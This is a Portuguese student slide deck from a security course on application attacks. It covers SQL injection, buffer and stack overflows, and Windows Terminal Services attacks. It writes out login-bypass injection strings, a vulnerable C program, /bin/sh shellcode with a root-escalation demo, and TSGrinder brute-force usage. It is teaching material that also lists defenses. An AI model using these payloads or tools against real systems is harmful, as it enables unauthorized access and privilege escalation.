400 likes | 516 Views
Ataques à Aplicações. Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira. Especialização em Segurança da Informação. Prof.: Márcio Aurélio R. Moreira.
E N D
Ataques à Aplicações Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira Especialização em Segurança da Informação Prof.: Márcio Aurélio R. Moreira
Introdução • Será apresentado alguns tipos de ataques mais usados em aplicações hoje • SQL Injection • Buffer Overflow • Ataques à Terminal Service do Windows
SQL Injection • Tipo de ataque no qual é inserido um código SQL. • Pode ser usado para ataques em sites ou em aplicações locais. • Grande número de serviços WEB hoje viabilizam o ataque. • Top 10 2007 lista este tipo de ataque em segundo lugar. http://www.owasp.org/index.php/Top_10_2007
Lógica do Ataque SQL Injection • Qualquer tipo de aplicação (WEB ou não) que possua um mínimo de segurança pede usuário e senha na tela de abertura (autenticação). • Normalmente essas aplicações utilizam um banco de dados (Oracle, DB2, Sql Server,etc) com uma tabela com usuario e senha.
Lógica do Ataque SQL Injection • Instrução interna: select usuario, senha from Users where usuario=' & cUser & ' and senha=' & cSenha & ' • Não existe nenhum problema com a instrução, funciona perfeito.
Lógica do Ataque SQL Injection • Se digitarmos Flavio no usuário e UNIMINAS na senha a instrução SQL será a seguinte: select usuario, senha from Users where usuario=‘Flavio' and senha=‘UNIMINAS' • As aspas delimitam os valores recebidos pelas variáveis.
Lógica do Ataque SQL Injection • Se de propósito digitarmos o seguinte no usuário e senha: ’ or ’1=1 • A instrução SQL ficará da seguinte maneira: select usuario, senha from Users where usuario=‘’or’1=1’ and senha=‘’or’1=1’
Lógica do Ataque SQL Injection • Interpretando a instrução temos o seguinte: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então todos usuários são validos). O mesmo raciocínio vale para a senha . • Provavelmente entraremos no sistema como o primeiro usuário da tabela.
Lógica do Ataque SQL Injection • O pior é que quando o programador criou os usuários da tabela, provavelmente o primeiro usuário será ele próprio e ainda com privilégio de administrador.
Lógica do Ataque SQL Injection • Outro caso é quando queremos entrar com o username de uma determinada pessoa. • Colocamos o nome do usuário e logo em seguida a instrução mágica anterior. • O SQL entenderá que deverá retornar o usuário informado e que tenha uma senha vazia ou verdadeira, ou seja ele irá ignorar a senha e apontará para o registro que o username é igual ao informado.
Lógica do Ataque SQL Injection • Outro tipo de injeção SQL é quando não sabemos o nome do usuário mas sabemos que o site tem muitos cadastros. • Colocamos ’ or ’1=1 no usuário e chutamos uma senha como 123456, 123123,123321. • Num site com mais de 200 cadastros é 90% de certeza que alguém cadastrou uma senha destas.
Lógica do Ataque SQL Injection • Outro forma de ataque seria usar os caracteres -- no final do campo: Usuário: admin’-- Senha:xyz • Você provavelmente conseguirá acesso como admin, levando-se em conta que a maioria dos cadastros possuem o usuário admin. • O caractere -- especifica pro sql que daquele ponto em diante tudo é comentário.
Lógica do Ataque SQL Injection • A instrução ficará dessa maneira: Select * from usuarios where username=’admin’ -- ‘ and senha=’xyz’ “ • A partir dos -- tudo virou comentário.
Defesas deste tipo de ataque • A forma mais fácil de conter esse ataque seria tratar o caractere da aspa simples dentro dos campos de usuário e senha, não deixando ele estar contido nesses campos.
Buffer Overflow • O que é o Buffer Overflow? • O seu surgimento. • Qual o intuito de ataques do tipo Buffer Overflow?
Lógica do Ataque Buffer Overflow • Como explorar o Buffer Overflow? #include <stdio.h> #include <string.h> main(int argc, char *argv[]){char buffer[512];if(argc < 2){ printf("Programa bugado!!n"); printf("Uso: %s n",argv[0]);exit(0);}strcpy(buffer,argv[1]);printf("Voce digitou %s!!n",buffer);return 0; }
Lógica do Ataque Buffer Overflow • Como tirar proveito do Buffer Overflow • O endereço de retorno. • O overflow • A inserção de shellcode. • Elevação de privilégios na aplicação.
Stack Overflow • Como se dá a utilização da pilha no sistema operacional? • Como funciona o Stack Overflow?
Stack Overflow • Exemplo de stack overflow #include <stdio.h> #include <string.h> char shellcode[ ] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }
Stack Overflow /* Compilando */ seg@uniminas:~$ gcc bof.c seg@uniminas:~$ su Password: seg@uniminas:~# chown root.root a.out seg@uniminas:~# chmod u+s a.out seg@uniminas:~$ whoami seg seg@uniminas:~$ ./a.out sh-2.05$ whoami root
Defesas de ataques do tipo Overflow • A melhor forma de evitar ataques do tipo buffer Overflow é um bom projeto estrutural da programação da aplicação, atentando-se a condições de testes e homologações em diferentes ambientes.
Características quanto ao uso e importância • a aplicações estão adotando o meio de Terminal para maior praticidade nos recursos de rede • poder de centralização e traçamento de perfis que os usuários podem ter • redudância e balanceamento, este serviço pode atender bem, na qual usando o próprio serviço de LB (Load Balanced) da Microsoft pode-se obter recursos nas aplicações • Thin Clients que pode facilitar nos investimentos em Hardware de estações
Característica de Ataque ao TS • Exesso de conexões • Brute Force (MITM RDP) • Link com trafego além do normal • Acesso de usuarios que não existem • Senhas de conexões expiradas por erros • Request Deny Of Service • Cain & Abel (Também é possível realizar um Main The Midle no RDP)
Dados importante referente ao Request Deny Of Service • O xforce database da ISS aponta a vulnerabilidade Request Deny Of Service no Terminal Service de 16 de Julho de 2006, ela afeta inclusive windows server 2003 com SP1.
Plantaformas Afetadas • Windows 2000 Server SP 4 • Windows Server 2003 Any version • Windows Server 2003 Itanium • Windows Server 2003 SP1 • Windows Server 2003 SP1 • Windows Server 2003 x64 Edition • Windows XP Pro x64 Edition • Windows XP SP1 • windows-rdp-dos (21407)
Usando o TSGrinder Usage: tsgrinder.exe [options] server Options: -w dictionary file (default 'dict') -l 'leet' translation file -d domain name -u username (default 'administrator' -b banner flag -n number of simultaneous threads -D debug level (default 9, lower number is more output) Exemplo: tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1
Métodos para aperfeiçoar a Segurança • Existe uma ferramenta chamada 2x SecureRDP freeware que se propõe basicamente a controle de acesso, muito semelhante ao controle de MAC Address de um Access Point Wireless. • A técnica bem interessante é usar SSL para rodar o Terminal Service, garantindo processo de comunicação mais limpa e segurança. • http://www.microsoft.com/technet/prodtechnol/windowsserver2003/pt-br/library/ServerHelp/a92d8eb9-f53d-4e86-ac9b-29fd6146977b.mspx?mfr=true • Msgs de Logons • Autorização por horários • Determinação de acessos por políticas • Solução futura com o Terminal Service Gateway no novo Windows Server ( similar ao da citrix )